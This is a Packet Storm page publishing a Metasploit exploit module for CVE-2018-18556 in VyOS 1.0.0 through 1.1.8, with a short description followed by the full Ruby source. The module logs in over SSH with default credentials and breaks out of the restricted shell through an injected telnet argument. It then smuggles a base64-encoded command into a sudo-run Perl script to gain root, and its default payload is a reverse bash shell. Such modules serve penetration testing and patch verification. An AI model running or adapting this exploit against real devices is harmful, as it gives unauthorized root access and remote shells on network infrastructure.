exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

VyOS restricted-shell Escape / Privilege Escalation

VyOS restricted-shell Escape / Privilege Escalation
Posted Sep 21, 2020
Authored by Brendan Coles, Rich Mirch | Site metasploit.com

This Metasploit module exploits command injection vulnerabilities and an insecure default sudo configuration on VyOS versions 1.0.0 through 1.1.8 to execute arbitrary system commands as root. VyOS features a restricted-shell system shell intended for use by low privilege users with operator privileges. This module exploits a vulnerability in the telnet command to break out of the restricted shell, then uses sudo to exploit a command injection vulnerability in /opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl to execute commands with root privileges. This module has been tested successfully on VyOS 1.1.8 amd64 and VyOS 1.0.0 i386.

tags | exploit, arbitrary, shell, root, vulnerability
advisories | CVE-2018-18556
SHA-256 | b66d6e6dd1c51b3775727b717e6c2e5f0d992e14e7e7e85bf10477d801697f46

VyOS restricted-shell Escape / Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VyOS restricted-shell Escape and Privilege Escalation',
'Description' => %q{
This module exploits command injection vulnerabilities and an insecure
default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 to execute
arbitrary system commands as root.

VyOS features a `restricted-shell` system shell intended for use by
low privilege users with operator privileges. This module exploits
a vulnerability in the `telnet` command to break out of the restricted
shell, then uses sudo to exploit a command injection vulnerability in
`/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl` to execute commands
with root privileges.

This module has been tested successfully on VyOS 1.1.8 amd64 and
VyOS 1.0.0 i386.
},
'License' => MSF_LICENSE,
'Author' => [
'Rich Mirch', # discovery and exploit
'bcoles' # metasploit
],
'References' =>
[
[ 'CVE', '2018-18556' ],
[ 'URL', 'https://blog.vyos.io/the-operator-level-is-proved-insecure-and-will-be-removed-in-the-next-releases' ],
[ 'URL', 'https://blog.mirch.io/2018/11/05/cve-2018-18556-vyos-privilege-escalation-via-sudo-pppd-for-operator-users/' ],
[ 'URL', 'https://github.com/mirchr/security-research/blob/master/vulnerabilities/VyOS/CVE-2018-18556.sh' ],
],
'Arch' => ARCH_CMD,
'DisclosureDate' => '2018-11-05',
'DefaultOptions' =>
{
'Payload' => 'cmd/unix/reverse_bash'
},
'DefaultTarget' => 0,
'Platform' => 'unix',
'Privileged' => true,
'Targets' =>
[
[
'Automatic', {}
]
]
)
)

register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'SSH username', 'vyos']),
OptString.new('PASSWORD', [true, 'SSH password', 'vyos']),
]
)

register_advanced_options(
[
Opt::Proxies,
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 15]),
OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
]
)
end

def check
factory = ssh_socket_factory
opts = {
auth_methods: ['password', 'keyboard-interactive'],
port: rport,
use_agent: false,
config: false,
password: password,
proxy: factory,
non_interactive: true,
verify_host_key: :never
}

begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, opts)
end
rescue Rex::ConnectionError
return CheckCode::Safe
rescue Net::SSH::Disconnect, ::EOFError
return CheckCode::Safe
rescue Timeout::Error
return CheckCode::Safe
rescue Net::SSH::AuthenticationFailed
return CheckCode::Safe
rescue Net::SSH::Exception
return CheckCode::Safe
end

CheckCode::Detected('SSH service detected.')
end

def rhost
datastore['RHOST']
end

def rport
datastore['RPORT']
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def exploit
factory = ssh_socket_factory

opts = {
auth_methods: ['password', 'keyboard-interactive'],
port: rport,
use_agent: false,
config: false,
password: password,
proxy: factory,
non_interactive: true,
verify_host_key: :never
}

opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

print_status("#{rhost}:#{rport} - Attempt to login to VyOS SSH ...")

begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, opts)
end
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
rescue ::Timeout::Error
fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
rescue Net::SSH::AuthenticationFailed
fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
end

unless ssh
fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Session couldn't be established")
end

print_good('SSH connection established')

ssh.open_channel do |channel|
print_status('Requesting PTY ...')

channel.request_pty do |ch, pty_success|
unless pty_success
fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not request PTY")
end

print_good('PTY successfully obtained')

print_status('Requesting shell ...')

ch.send_channel_request('shell') do |_ch, shell_success|
unless shell_success
fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not open shell")
end

print_good('Remote shell successfully obtained')
end
end

vyos_check_executed = false
expect_system_shell = false
payload_executed = false

payload_b64 = Rex::Text.encode_base64(payload.encoded)
payload_cmd = ''

channel.on_data do |_ch, data|
return nil if payload_executed

unless vyos_check_executed
unless data.downcase.include?('vyos')
fail_with(Failure::NotVulnerable, 'Remote system is not VyOS')
end

print_status('Remote system is VyOS')
vyos_check_executed = true
next
end

if !expect_system_shell && data.downcase.include?(username.downcase)
if data.include?('> ')
print_status('Remote session is using restricted-shell. Attempting breakout to system shell ...')
channel.send_data("telnet ';/bin/sh'\n")
payload_cmd = "sudo /opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl -action show-neighbor -i ';echo #{payload_b64}|base64 -d|/bin/sh'"
expect_system_shell = true
next
elsif data.include?('$ ')
print_status('Remote session is using unrestricted shell. Launching system shell ...')
channel.send_data("/bin/sh\n")
payload_cmd = "echo #{payload_b64}|base64 -d|sudo /bin/sh"
expect_system_shell = true
next
end
end

if expect_system_shell && data.include?('sh') && data.include?('$ ')
print_good('Unrestricted system shell successfully obtained. Sending payload ...')
vprint_status("Sending command: #{payload_cmd}")
channel.send_data("#{payload_cmd}\n")
payload_executed = true
end
end
end

begin
ssh.loop unless session_created?
rescue Errno::EBADF => e
elog(e)
end
end
end
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close